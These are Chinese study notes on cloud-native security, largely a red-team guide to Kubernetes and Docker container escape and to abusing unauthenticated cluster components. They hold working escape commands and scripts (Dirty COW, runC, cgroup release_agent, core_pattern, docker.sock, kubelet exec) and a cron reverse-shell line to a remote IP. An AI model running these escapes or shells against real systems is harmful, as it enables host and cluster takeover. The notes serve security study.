本文为2年前骨哥学习云原生安全时整理的笔记。
所谓云原生(Cloud Native)是一套技术体系和方法论,它由2个词组成,云(Cloud)和原生(Native)。云(Cloud)表示应用程序位于云中,而不是传统的数据中心;原生(Native)表示应用程序从设计之初即考虑到云的环境,原生为云而设计,在云上以最佳状态运行,充分利用和发挥云平台的弹性和分布式优势。
云原生代表的技术包括:容器、服务网格(Service Mesh)、微服务(Microservice)、不可变基础设施和声明式API。
云原生从底向上,分别由硬件安全(可信环境)、宿主机安全、然后容器编排技术(Kubernetes等)可以看作是云上的“操作系统”,它负责自动化部署、扩缩容、管理应用等,再由微服务、Service Mesh、容器技术(Docker等)、容器镜像(仓库)组成。以这些技术为基础构建出云原生安全。
一类是新兴云原生安全创业公司,他们往往在一两个层面扎得很深,比如提供代码安全、DevSecOps、镜像漏扫…
或者打包在CWPP、CSPM之类的方案里。
他们提供内建的云平台级安全服务,再结合云市场中的生态伙伴产品,从外层向内层延伸,逐步完善防御链条。
少数“不服气”的传统安全企业,他们早早看到了云计算大趋势,开始密集“操作”,实现安全+云的跨界,比如:绿盟、山石网科等
容器镜像的安全扫描能力是很多乙方商业产品和甲方安全系统首先会推进的容器安全建设方向。不像容器运行时安全监控需要较高的成本、稳定性要求和技术积累,也有业界相对成熟的开源方案。
容器镜像是容器安全非常关键且重要的一环,当获取到节点权限或管理员PC权限时,~/.docker/config.json 文件内就可能存有镜像仓库账号和密码信息,用户名和密码只用 Base64 编码了一下,对于安全人员来说和没有是一样的。
很多POD和线上容器在使用镜像时,可能用 latest 或默认没有指定版本,所以劫持镜像源之后只要在原本的 latest 之上植入恶意代码并 push 新的版本镜像,就可以在获取镜像权限之后进而获取线上的容器权限。
clair:https://github.com/quay/clair
Anchore:https://github.com/anchore/anchore-engine
当一个服务需要向另一个服务发送请求时,Service Mesh 提供了一个标准化的接口,允许请求发送,并且管理这一个过程。
Service Mesh(如 lstio 和 Linknerd)通常充当微服务之间的请求和其他流量的代理,负责服务发现和执行各种相关任务,包括入口、出口、负载均衡和故障处理。当它接收到服务请求时,它会找到一个服务的可用实例,这个实例需满足一组可配置的规则以及在请求服务和目标服务之间的路由流量。
Service Mesh 平台,就像当下其他任何基于云基础架构的元素一样,是由代码构成的,并且和其他类型的代码一样容易受到攻击。对入侵者来说,最具诱惑力的攻击面可能是控制发现和路由的规则——如果请求可以重新路由到外部位置,那么整个系统都可能会受到危害。
当然也会有其他的攻击点。入口、出口、代理以及负载均衡等功能都可能会出现先前未监测到的切入点。简而言之就是,基础设施的元素越多地控制应用程序和整个系统,那么它就越容易成为攻击的目标,也就越应该关注它。
CIS2020 腾讯蓝军的关于Attack in a Service Mesh
CIS2020 - Attack in a Service Mesh - Public.pptx.pdf
容器安全又可以看作构建时安全(Build)、部署时安全(Deployment)、运行时安全(Runtime)
对于安全实施准则,将其分为三个阶段:
攻击前:裁剪攻击面,减少对外暴露的攻击面(本文涉及的场景关键词:隔离);
攻击时:降低攻击成功率(本文涉及的场景关键词:加固);
攻击后:减少攻击成功后攻击者所能获取的有价值的信息、数据以及增加留后门的难度等。
不仅在安全攻防领域,作为一个长期依赖容器技术的半吊子开发者,我也不建议用 latest 镜像标签作为线上环境的长期方案;从研发运维角度的最佳实践来看,使用特定版本的TAG且可以和代码版本控制相对应是比较推荐的方案,应该保障每个镜像都是可追踪溯源的。
比较有趣的是,我们曾经遇到企业在基础容器镜像里打入 sshd 并且在 init.sh 主程序中启动 sshd 程序(无论是安全还是容器架构最佳实践都是不建议的),导致所有Kubernetes集群里的容器都会开放22端口并且拥有一样的/etc/shadow文件和/root/.ssh/authorized_keys。这就代表所有的容器都可以使用一个通用密码和ssh证书去登录。因此在逃逸获取容器的宿主机权限后,分析容器基础镜像的通用安全问题确实可以很快扩大影响面。
以 Kubernetes 为例,容器与容器之间的网络是极为特殊的。虽然大部分经典IDC内网的手法和技巧依然可以使用,但是容器技术所构建起来的是全新的内网环境,特别是当企业引入服务网格等云原生技术做服务治理时,整个内网和IDC内网的差别就非常大了;因此了解一下 Kubernetes 网络的默认设计是非常重要的,为了避免引入复杂的Kubernetes网络知识,我们以攻击者的视角来简述放在蓝军面前的Kubernetes网络。
从上图可以很直观的看出,当我们获取Kubernetes集群内某个容器的shell,默认情况下我们可以访问以下几个内网里的目标:
相同节点下的其它容器开放的端口
其他节点下的其它容器开放的端口
其它节点宿主机开放的端口
当前节点宿主机开放的端口
Kubernetes Service 虚拟出来的服务端口
内网其它服务及端口,主要目标可以设定为 APISERVER、ETCD、Kubelet 等
考虑对抗和安装门槛的话,使用 masscan 和 nmap 等工具在未实行服务网格的容器网络内进行服务发现和端口探测和在传统的IDC网络里区别不大;
当然,因为 Kubernetes Service 虚拟出来的服务端口默认是不会像容器网络一样有一个虚拟的 veth 网络接口的,所以即使 Kubernetes Service 可以用 IP:PORT 的形式访问到,但是是没办法以 ICMP 协议做 Service 的 IP 发现(Kubernetes Service 的 IP 探测意义也不大)。另如果HIDS、NIDS在解析扫描请求时,没有针对 Kubernetes的 IPIP Tunnle 做进一步的解析,可能产生一定的漏报。
合理的网络设计应该和云服务器VPS的网络设计一致,用户与用户之间的内网网络不应该互相连通,用户网络和企业内网也应该进行一定程度的隔离,上图中所有对内的流量路径都应该被切断。把所有用户 POD 都放置在一个Kubernetes namespace下就更不应该了。
想象一下当你运行一个云原生应用时会发生什么。但凡它具有一定的规模和复杂性,它通常都需要由大量单独的服务组成,这些服务间为了能够像一个单体桌面应用程序组件一样高效地运行,需要相互进行协调。
再加上在任何指定时间运行的每个服务的实例数量,以及这些实例的状态及可用性的变化,不难看出,简单的将一个服务连接到另一个服务的行为,在这样的情形下会变成多么恐怖的组合问题。
多亏了有 Kubernetes 等编排工具,云原生应用程序不会出现混乱或者从内部 logjams 出现冻结,它们将服务和实例组织成方便管理和寻址的单元,这样就可以通过系统化的方式找到并访问这些单元。
这些编排工具就好像一个房屋开发商,他们铺设街道,在新的社区建造房屋——它们建立了框架和交通线路,然而大多数情况下,处理社区的交通细节并不是它们的工作。
常见的Kubernetes集群结构图如下,Master节点是集群的控制节点,Node节点则是集群的工作节点。
美国国家安全局《Kubernetes 加固指南》中文版
https://jimmysong.io/kubernetes-hardening-guidance/
近些年,数据中心的基础架构逐渐从传统的虚拟化(例如KVM+QEMU架构)转向容器化(Kubernetes+Docker架构),但“逃逸”始终都是企业要在这2种架构下所面对的最严峻的安全问题。
容器建立在两项关键技术之上:Linux Namespace和Linux Cgroups。Namespace创建一个近乎隔离的用户空间,并为应用程序提供系统资源(文件系统、网络栈、进程和用户ID)。Cgroup强制限制硬件资源,如CPU、内存、设备和网络等。
容器攻击面(Container Attack Surface)
容器一共有7个攻击面:Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language VM、User Code、Container(Docker)Engine
要更好的理解容器逃逸的手法,应该知道本质上容器内的进程只是一个受限的普通Linux进程,容器内部进程的所有行为对于宿主机来说是透明的,这也是众多容器EDR产品可以直接在主机或SideCar内做容器运行时安全的基础之一。
我们可以很容易在宿主机用 ps 看到容器进程信息:
所以,容器逃逸的本质和硬件虚拟化逃逸的本质有很大的不同(不包含 Kata Containers 等 ),我的理解里容器逃逸的过程是一个受限进程获取未受限的完整权限,又或某个原本受Cgroup/Namespace限制权限的进程获取更多权限的操作,更趋近于提权
而在对抗上,不建议将逃逸的行为当成可以写入宿主机特定文件(如 /etc/cron*, /root/.ssh/authorized_keys 等文件)的行为,应该根据目标选择更趋近与业务行为的手法,容器逃逸的利用手段会比大部分情况下的命令执行漏洞利用要灵活。
以目标“获取宿主机上的配置文件”为例,以下几种逃逸手法在容易在防御团队中暴露的概率从大到小,排序如下(部分典型手法举例,不同的EDR情况不同):
mount /etc + write crontab
mount /root/.ssh + write authorized_keys
old CVE/vulnerability exploit
write cgroup notify_on_release
write procfs core_pattern
volumeMounts: / + chroot
remount and rewrite cgroup
create ptrace cap container
websocket/sock shell + volumeMounts: /path
LXCFS是一个简单的用户空间文件系统,旨在绕过Linux内核当前的一些限制。
具体地说,它提供了两个主要功能:
一组文件,可以绑定挂载到它们的/proc原始文件上,以提供cgroup的感知值
一个类似cgroupfs的树,它用于容器感知
https://linuxcontainers.org/lxcfs/
lxcfs 的场景和手法应该是目前业界HIDS较少进行覆盖的,我们目前也未在真实的攻防场景中遇到 lxcfs 所导致的容器逃逸利用,学习到这个有趣的场景主要还是来自于 @lazydog 师傅在开源社区和私聊里的分享,他在自己的实际蓝军工作中遇到了 lxcfs 的场景,并调研文档和资料构建了一套相应的容器逃逸思路;由此可见,这个场景和手法在实际的攻防演练中也是非常有价值的。
假设业务使用 lxcfs 加强业务容器在 /proc/ 目录下的虚拟化,以此为前提,我们构建出这样的 demo pod:
并使用 lxcfs /data/test/lxcfs/
修改了 data 目录下的权限。若蓝军通过渗透控制的是该容器实例,则就可以通过下述的手法达到逃逸访问宿主机文件的目的,这里简要描述一下关键的流程和原理。
1、首先在容器内,蓝军需要判断业务是否使用了 lxcfs,在 mount 信息里面可以进行简单判断,当然容器不一定包含 mount 命令,也可以使用 cat /proc/1/mountinfo 获取
2、此时容器内会出现一个新的虚拟路径:
3、更有趣的是,该路径下会绑定当前容器的 devices subsystem cgroup 进入容器内,且在容器内有权限对该 devices subsystem 进行修改。
使用 echo a > devices.allow 可以修改当前容器的设备访问权限,致使我们在容器内可以访问所有类型的设备。
4、如果跟进过 CVE-2020-8557 这个具有Kubernetes特色的拒绝服务漏洞的话,应该知道 /etc/hosts, /dev/termination-log,/etc/resolv.conf, /etc/hostname 这四个容器内文件是由默认从宿主机挂载进容器的,所以在他们的挂载信息内很容易能获取到主设备号ID。
5、我们可以使用 mknod 创建相应的设备文件目录并使用 debugfs 进行访问,此时我们就有了读写宿主机任意文件的权限。
这个手法和利用方式不仅可以作用于 lxcfs 的问题,即使没有安装和使用 lxcfs,当容器为 privileged、sys_admin 等特殊配置时,可以使用相同的手法进行逃逸。我们曾经多次使用类似的手法逃逸 privileged、sys_admin 的场景(在容器内 CAPABILITIES sys_admin 其实是 privileged 的子集),相较之下会更加隐蔽。
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
主要有:内核漏洞引起的逃逸、相关程序漏洞引起的逃逸和docker配置不当引起的逃逸。
利用宿主机的内核漏洞进行逃逸,典型的就是脏牛漏洞(Dirty COW CVE-2016-5195)
漏洞POC:https://github.com/scumjr/dirtycow-vdso
可以在存在脏牛漏洞的linux宿主机中开启包含漏洞POC的容器dirtycow:
docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash
容器启动后,我们进入到docker容器中,编译并执行漏洞POC:
docker exec -it test /bin/bash
cd /dirtycow-vdso/
make
./0xdeadbeef
可以看到,成功利用脏牛内核漏洞,从docker容器中逃逸,并获得了宿主机的shell:
同时,近期还有一个比较出名的内核漏洞是 CVE-2020-14386,也是可以导致容器逃逸的安全问题。
这些漏洞的POC 和 EXP都已经公开,且不乏有利用行为,但同时大部分的EDR和HIDS也对EXP的利用具有检测能力,这也是利用内核漏洞进行容器逃逸的痛点之一。
所谓相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞,相关程序组件如下图所示:
比如runC利用,runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI(command-line interface) 工具。runC是Docker中最为核心的部分,容器的创建,运行,销毁等操作最终都是通过调用runC完成。攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
漏洞POC:https://github.com/Frichetten/CVE-2019-5736-PoC
编译go脚本生成攻击payload,设置反弹到本地的ip和端口:
编译生成payload:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)
接着在容器执行payload,同时开启监听,等待受害者去启动docker容器,当受害者执行docker exec -it 命令时,获得反弹shell,完成逃逸。
由于容器其他相关程序漏洞导致的逃逸还有Docker cp(CVE-2019-14271)、Docker build code execution (CVE-2019-13139)等等。
利用容器配置不当进行逃逸,包括remote api 未授权访问、特权模式等方式。
1、remote api 未授权访问
docker remote api可以执行docker命令,如果docker守护进程监听在0.0.0.0,又没有限制可以访问的IP,则任意用户可直接调用API来操作docker,造成未授权访问。
漏洞成因:
dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
任意用户可越权查看容器信息:
进一步利用上述信息进行docker逃逸。docker可以挂载宿主机的文件夹,同时docker默认使用root运行,这样就可以造成任意文件的读取和写入。我们可以挂载宿主机的/root到docker,然后写入我们自己生成的ssh公钥,就可以完成逃逸。
启动容器web1,并挂载宿主机/root 至容器/hack目录下
docker -H tcp://192.168.136.222:2375 run -id -v /root:/hack web1
进入容器:
docker -H tcp://192.168.136.222:2375 exec -it e33c97a4cc4f /bin/bash
发现宿主机/root成功挂载至容器/hack目录下:
进入/hack/.ssh目录中,写入生成的公钥:
vi /hack/.ssh/authorized_keys
再利用我们的私钥就可以登录到宿主机中,完成逃逸:
2、特权模式(privileged)
使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,并通过写入计划任务等方式进行逃逸。
以特权模式启动docker容器web1
docker run -itd --privileged web1 /bin/bash
进入容器,查看磁盘文件:
docker exec -it 0e6fdba0a24c /bin/bash
[email protected]:/# fdisk -l
将/dev/sda1 挂载到新建目录:
mkdir /test
mount /dev/sda1 /test
将计划任务写入到宿主机,反弹宿主机shell,完成逃逸:
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.136.1/12345 0>&1' >> /test/var/spool/cron/crontabs/root
privileged 配置可以理解为一个很大的权限集合,可以直接 mount device 并不是它唯一的权限和利用手法,另外一个比较出名的手法就是利用 cgroup release_agent 进行容器逃逸以在宿主机执行命令,这个手法同样可以作用于 sys_admin 的容器。
shell 利用脚本如下:
#!/bin/bashset -uex
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 2
cat "/output"
输出示例:
其中 host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
的做法经常在不同的 Docker 容器逃逸 EXP 被使用到;如果我们在漏洞利用过程中,需要在容器和宿主机内进行文件或文本共享,这种方式是非常棒且非常通用的一个做法。
其思路在于利用Docker容器镜像分层的文件存储结构(Union FS),从 mount 信息中找出宿主机内对应当前容器内部文件结构的路径;则对该路径下的文件操作等同于对容器根目录的文件操作。
此类手法如果HIDS并未针对容器逃逸的特性做一定优化的话,则HIDS对于逃逸在母机中执行命令的感知能力可能就会相对弱一点。不过业界的EDR和HIDS针对此手法进行规则覆盖的跟进速度也很快,已有多款HIDS对此有一定的感知能力。
另外一个比较小众方法是借助上面 lxcfs 的思路,复用到 sys_admin 或特权容器的场景上读写母机上的文件。(腾讯蓝军的兄弟们问得最多的手法之一,每过一段时间就有人过来问一次 ~)
1、首先我们还是需要先创建一个 cgroup 但是这次是 device subsystem 的。
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/
2、修改当前已控容器 cgroup 的 devices.allow,此时容器内已经可以访问所有类型的设备, 命令:
echo a > /tmp/dev/docker/b76c0b53a9b8fb8478f680503164b37eb27c2805043fecabb450c48eaad10b57/devices.allow
3、同样的,我们可以使用 mknod 创建相应的设备文件目录并使用 debugfs 进行访问,此时我们就有了读写宿主机任意文件的权限。
mknod near b 252 1debugfs -w near
这个由RUNC实现而导致的逃逸漏洞太出名了,出名到每一次提及容器安全能力或容器安全研究都会被拿出来当做案例或DEMO。但不得不说,这里的利用条件在实际的攻防场景里还是过于有限了;实际利用还是需要一些特定的场景才能真的想要去使用和利用它。
这里公开的POC很多,不同的环境和操作系统发行版本利用起来有一定的差异,可以参考进行利用:
github.com/feexd/pocs
github.com/twistlock/RunC-CVE-2019-5736
github.com/AbsoZed/DockerPwn.py
github.com/q3k/cve-2019-5736-poc
至于我们实际遇到的场景可以在“容器相关组件的历史漏洞”一章中查看。从攻防角度不得不说的是,这个漏洞的思路和EXP过于出名,几乎所有的HIDS都已经具备检测能力,甚至对某些EXP文件在静态文件规则上做了拉黑,所以大部分情况是使用该方法就等于在一定程度上暴露了行踪,需要谨慎使用。
可以通过
cat /proc/self/status |grep Cap
判断当前容器是否通过特权模式开启(000000xfffffffff代表为特权模式起)。
如果通过特权模式开启,则可以利用fdisk -l命令查看宿主机设备为/dev/vda1,通过mount命令将宿主机根目录挂载进容器。
使用chroot改变根目录,接下来可以直接执行命令或写crontab:
1、特殊路径挂载的容器逃逸
这类的挂载很好理解,当例如宿主机的内的 /, /etc/, /root/.ssh 等目录的写权限被挂载进容器时,在容器内部可以修改宿主机内的 /etc/crontab、/root/.ssh/、/root/.bashrc 等文件执行任意命令,就可以导致容器逃逸。
容器挂载不当导致的逃逸根本原因在于业务需求或使用者图方便把危险目录直接挂载到容器中。 当然,根据使用者挂的目录不同,利用方式肯定也都不同。举一个比较常见的例子:使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也能操作docker。
实战中通过find命令,可查找类似docker.sock等高危目录和文件:
通过:
cat /etc/os-release
查看当前linux发型版本,准备安装docker客户端,方便操作docker
访问https://download.docker.com/linux/debian/dists/,根据选择具体分支,如stretch就去https://download.docker.com/linux/debian/dists/stretch/pool/stable/amd64/下载.deb结尾的安装文件 使用这种方式安装的好处是容器内一般都缺少很多基础组件,如果通过apt-get安装实测20分钟也装不完:
使用:
docker run -it -v /:/host rabbitmq:3-management-alpine bash
命令,随便找个镜像挂载宿主机根目录到容器的/host目录下,之后就可以进行任意操作了
另外看到网上还有人利用procfs通过写/proc/sys/kernel/core_pattern来进行逃逸,但触发条件比较苛刻,需要有进程奔溃才能触发,故实战中不推荐。
2、Docker in Docker
其中一个比较特殊且常见的场景是当宿主机的 /var/run/docker.sock 被挂载容器内的时候,容器内就可以通过 docker.sock 在宿主机里创建任意配置的容器,此时可以理解为可以创建任意权限的进程;当然也可以控制任意正在运行的容器。
这类的设计被称为:Docker in Docker。常见于需要对当前节点进行容器管理的编排逻辑容器里,历史上我遇到的场景举例:
存在于 Serverless 的前置公共容器内
存在于每个节点的日志容器内
如果你已经获取了此类容器的 full tty shell, 你可以用类似下述的命令创建一个通往母机的shell。
./bin/docker -H unix:///tmp/rootfs/var/run/docker.sock run -d -it --rm --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
如果想现在直接尝试此类逃逸利用的魅力,不妨可以试试 Google Cloud IDE 天然自带的容器逃逸场景,拥有Google账号可以直接点击下面的链接获取容器环境和利用代码,直接执行利用代码 try_google_cloud/host_root.sh 再 chroot 到 /rootfs 你就可以获取一个完整的宿主机shell:
https://ssh.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https://github.com/neargle/cloud_native_security_test_case.git
当然容器内部不一定有条件安装或运行 docker client,一般获取的容器shell其容器镜像是受限且不完整的,也不一定能安装新的程序,即使是用 pip 或 npm 安装第三方依赖包也很困难。
此时基于golang编写简易的利用程序,利用交叉编译编译成无需依赖的单独bin文件下载到容器内执行就是经常使用的方法了。
3、针对挂载了/proc目录的容器攻击
另一个比较有趣的场景就是挂载了主机 /proc 目录的容器,在历史的攻防演练中当我们遇到挂载了主机 /proc 目录的容器,一般都会有其它可以逃逸的特性,如 sys_ptrace 或者 sys_admin 等,但是其实挂载了主机 /proc 目录这个设置本身,就是一个可以逃逸在宿主机执行命令的特性。
我们可以简单的执行以下命令创建一个具有该配置的容器并获得其shell:
docker run -v /proc:/host_proc --rm -it ubuntu bash
这里逃逸并在外部执行命令的方式主要是利用了 linux 的 /proc/sys/kernel/core_pattern 文件。
1、首先我们需要利用在 release_agent 中提及的方法从 mount 信息中找出宿主机内对应当前容器内部文件结构的路径。
sed -n 's/.*\perdir=(^,*).*/\1/p' /etc/mtab
2、此时我们在容器内的 /exp.sh 就对应了宿主机的 /var/lib/docker/overlay2/a1a1e60a9967d6497f22f5df21b185708403e2af22eab44cfc2de05ff8ae115f/diff/exp.sh 文件。
3、因为宿主机内的 /proc 文件被挂载到了容器内的 /host_proc 目录,所以我们修改/host_proc/sys/kernel/core_pattern 文件以达到修改宿主机 /proc/sys/kernel/core_pattern 的目的。
echo -e "|/var/lib/docker/overlay2/a1a1e60a9967d6497f22f5df21b185708403e2af22eab44cfc2de05ff8ae115f/diff/exp.sh \rcore " > /host_proc/sys/kernel/core_pattern
4、此时我们还需要一个程序在容器里执行并触发 segmentation fault 使植入的 payload 即exp.sh 在宿主机执行。这里我们参考了 https://wohin.me/rong-qi-tao-yi-gong-fang-xi-lie-yi-tao-yi-ji-zhu-gai-lan/#4-2-procfs- 里的 c 语言代码和 CDK-TEAM/CDK 里面的 GO 语言代码:
5、当然不能忘记给 exp.sh 赋予可执行权限。
当容器内的 segmentation fault 被触发时,我们就达到了逃逸到宿主机在容器外执行任意代码的目的。
当 docker 容器设置 --cap-add=SYS_PTRACE 或 Kubernetes PODS 设置 securityContext.capabilities 为 SYS_PTRACE 配置等把 SYS_PTRACE capabilities 权限赋予容器的情况,都可能导致容器逃逸。
这个场景很常见,因为无论是不是线上环境,业务进行灾难重试和程序调试都是没办法避免的,所以容器经常被设置 ptrace 权限。
这里的利用方式和进程注入的方式大致无二,如果是使用 pupy 或 metasploit 维持容器的shell权限的话,利用框架现有的功能就能很方便的进行注入和利用。当然,就如上面所述,拥有了该权限就可以在容器内执行 strace 和 ptrace 等工具,若只是一些常见场景的信息收集也不一定需要注入恶意 shellcode 进行逃逸才可以做到。
使用 capsh --print 可以判断当前容器是否附加了 ptrace capabilities。
使用Kubernetes做容器编排的话,在POD启动时,Kubernetes会默认为容器挂载一个 Service Account 证书。同时,默认情况下Kubernetes会创建一个特有的 Service 用来指向 ApiServer。
有了这两个条件,我们就拥有了在容器内直接和APIServer通信和交互的方式。
Kubernetes Default Service
Default Service Account:
默认情况下,这个 Service Account 的证书和 token 虽然可以用于和 Kubernetes Default Service 的 APIServer 通信,但是是没有权限进行利用的。
但是集群管理员可以为 Service Account 赋予权限:
此时直接在容器里执行 kubectl 就可以集群管理员权限管理容器集群。
因此获取一个拥有绑定了 ClusterRole/cluster-admin Service Account 的 POD,其实就等于拥有了集群管理员的权限。
实际攻防演练利用过程中,有几个坑点:
1、老版本的 kubectl 不会自动寻找和使用 Service Account 需要用 kubectl config set-cluster cfc 进行绑定或下载一个新版本的 kubectl 二进制程序;
2、如果当前用户的目录下配置了 kubeconfig 即使是错误的,也会使用 kubeconfig 的配置去访问不会默认使用 Service Account ;
3、历史上我们遇到很多集群会删除 Kubernetes Default Service,所以需要使用容器内的资产探测手法进行信息收集获取 apiserver 的地址。
查看当前环境是否为容器 cat /proc/1/cgroup看回显结果中是否有docker(这个方法一般要比ls /.dockerenv要准确,实测有些容器根目录下确实没有.dockerenv)
从 CGroup 信息中,不仅可以判断我们是否在容器内,也能很方便判断出当前的容器是否在 Kubernetes 的编排环境中
使用Kubernetes的docker容器,其cgroup信息长这样:
12:hugetlb:/docker/9df9278580c5fc365cb5b5ee9430acc846cf6e3207df1b02b9e35dec85e86c36
同类判断当前shell环境是否是容器,并采集容器内信息的还有很多,举个不完全的例子:
ps auxls -l .dockerenv
capsh --print
env | grep KUBE
ls -l /run/secrets/Kubernetes.io/
mount
df -h
cat /etc/resolv.conf
cat /etc/mtab
cat /proc/self/status
cat /proc/self/mounts
cat /proc/net/unix
cat /proc/1/mountinfo
其中 capsh --print 获取到信息是十分重要的,可以打印出当前容器里已有的 Capabilities 权限;历史上,我们曾经为了使用 strace 分析业务进程,而先设法进行容器逃逸忘记看当前容器的 Capabilities 其实已经拥有了 ptrace 权限,绕了一个大弯子。
但是,容器的 SHELL 环境里经常遇到无法安装新工具,且大部分常用工具都在镜像里被精简或阉割了。这时理解工具背后的原理并根据原理达到相同的效果就很重要。
以 capsh 为例,并非所有的容器镜像里都可以执行 capsh,这时如果想要获取当前容器的 Capabilities 权限信息,可以先 cat /proc/1/status 获取到 Capabilities hex 记录之后,再使用 capsh --decode 解码出 Capabilities 的可读字符串即可。
其他如 mount, lsof 等命令也类似。
另外一个比较常见就是 kubectl 命令的功能复现,很多情况下我们虽然获得了可以访问 APIServer 的网络权限和证书(又或者不需要证书)拥有了控制集群资源的权限,却无法下载或安装一个 kubectl 程序便捷的和 APIServer 通信,此时我们可以配置 kubectl 的 logging 登机,记录本地 kubectl 和测试APIServer的请求详情,并将相同的请求包发送给目标的 APIServer以实现相同的效果。
kubectl create -f cronjob.yaml -v=8
如果需要更详细的信息,也可以提高 logging level, 例如 kubectl -v=10 等,其他 Kubernetes 组件也能达到相同的目的。
查看容器操作系统详细信息 cat /etc/os-release
查看宿主机内核信息 uname -a
查看容器内进程的capability grep CapEff /proc/self/status 在其他机器上执行capsh --decode=value查看具体权限,value为前一个命令输出结果
查看环境变量 env(环境变量中可能存在敏感信息,如password)
危险挂载文件查找,如docker.sock find / -name docker.sock
就安全问题来说,业界普遍接触最多、最首当其冲的就是容器组件服务的未鉴权问题。我们在2019年的时候整理了一份Kubernetes架构下常见的开放服务指纹,提供给到了地表最强的扫描器洞犀团队,就现在看来这份指纹也是比较全的。
kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080
前六个服务的非只读接口我们都曾经在渗透测试里遇到并利用过,都是一旦被控制可以直接获取相应容器、相应节点、集群权限的服务,也是广大公网蠕虫的必争之地。
各个组件未鉴权所能造成的风险,其实从它们在Kubernetes集群环境里所能起到的作用就能很明显的判断出来,如 APIServer 是所有功能的主入口,则控制 APIServer 基本上等同控制集群的所有功能;而 kubelet 是单个节点用于进行容器编排的 Agent,所以控制 kubelet 主要是对单个节点下的容器资源进行控制。
组件分工上较为完整的图例可参考:
假如用户想在集群里面新建一个容器集合单元,那各个组件以此会相继做什么事情呢?
用户与 kubectl 或者 Kubernetes Dashboard 进行交互,提交需求。(例: kubectl create -f pod.yaml);
kubectl 会读取 ~/.kube/config 配置,并与 apiserver 进行交互,协议:http/https;
apiserver 会协同 ETCD 等组件准备下发新建容器的配置给到节点,协议:http/https(除 ETCD 外还有例如 kube-controller-manager, scheduler等组件用于规划容器资源和容器编排方向,此处简化省略);
apiserver 与 kubelet 进行交互,告知其容器创建的需求,协议:http/https;
kubelet 与Docker等容器引擎进行交互,创建容器,协议:http/unix socket.
至此我们的容器已然在集群节点上创建成功,创建的流程涉及ETCD、apiserver、kubelet、dashboard、docker remote api等组件,可见每个组件被控制会造成的风险和危害,以及相应的利用方向;对于这些组件的安全性,除了不同组件不一样的鉴权设计以外,网络隔离也是非常必要的,常规的 iptables 设置和规划也可以在容器网络中起到作用(容器网络的很多能力也是基于 iptables 实现的),另外比较有容器特色的方案就是 Network Policy 的规划和服务网格的使用,能从容器、POD、服务的维度更加优雅的管理和治理容器网络以及集群内流量。这些组件的资料和对应渗透手法,这里我们一一介绍一下:
如果想要攻击 apiserver, 下载 kubectl 是必经之路。
curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"
默认情况下,apiserver 都是有鉴权的:
当然也有未鉴权的配置:kube-apiserver --insecure-bind-address=0.0.0.0 --insecure-port=8080,此时请求接口的结果如下:
对于这类的未鉴权的设置来说,访问到 apiserver 一般情况下就获取了集群的权限:
可能还有同学不知道 apiserver 在 Kubernetes/容器编排集群里的重要地位,这里简单介绍一下:在蓝军眼中的 Kubernetes APIServer其重要性,如下图:
所以,对于针对Kubernetes集群的攻击来说,获取 admin kubeconfig 和 apiserver 所在的 master node 权限基本上就是获取主机权限路程的终点。
至于如何通过 apiserver 进行持续渗透和控制,参考 kubectl 的官方文档是最好的:
https://Kubernetes.io/docs/reference/generated/kubectl/kubectl-commands
每一个Node节点都有一个kubelet服务,kubelet监听了10250,10248,10255等端口。
其中10250端口是kubelet与apiserver进行通信的主要端口,通过该端口kubelet可以知道自己当前应该处理的任务,该端口在最新版Kubernetes是有鉴权的,但在开启了接受匿名请求的情况下,不带鉴权信息的请求也可以使用10250提供的能力;因为Kubernetes流行早期,很多挖矿木马基于该端口进行传播和利用,所以该组件在安全领域部分群体内部的知名度反而会高于 APIServer。
在新版本Kubernetes中当使用以下配置打开匿名访问时便可能存在kubelet未授权访问漏洞:
如果10250端口存在未授权访问漏洞,那么我们可以先使用/pods接口获取集群的详细信息,如namespace,pods,containers等
之后再通过
curl -k https://Kubernetes-node-ip:10250/run/<namespace>/<pod-name>/<container-name> -d “cmd=id”
的方式在任意容器里执行命令
此时,选择我们所有控制的容器快速过滤出高权限可逃逸的容器就很重要,在上述 /pods API 中可以获取到每个 POD 的配置,包括了 host*、securityContext、volumes 等配置,可以根据容器逃逸知识快速过滤出相应的POD进行控制。
由于这里10250鉴权当前的Kubernetes设计是默认安全的,所以10255的开放就可能更加容易在红蓝对抗中起到至关重要的作用。10255 本身为只读端口,虽然开放之后默认不存在鉴权能力,无法直接利用在容器中执行命令,但是可以获取环境变量ENV、主进程CMDLINE等信息,里面包含密码和秘钥等敏感信息的概率是很高的,可以快速帮我们在对抗中打开局面。
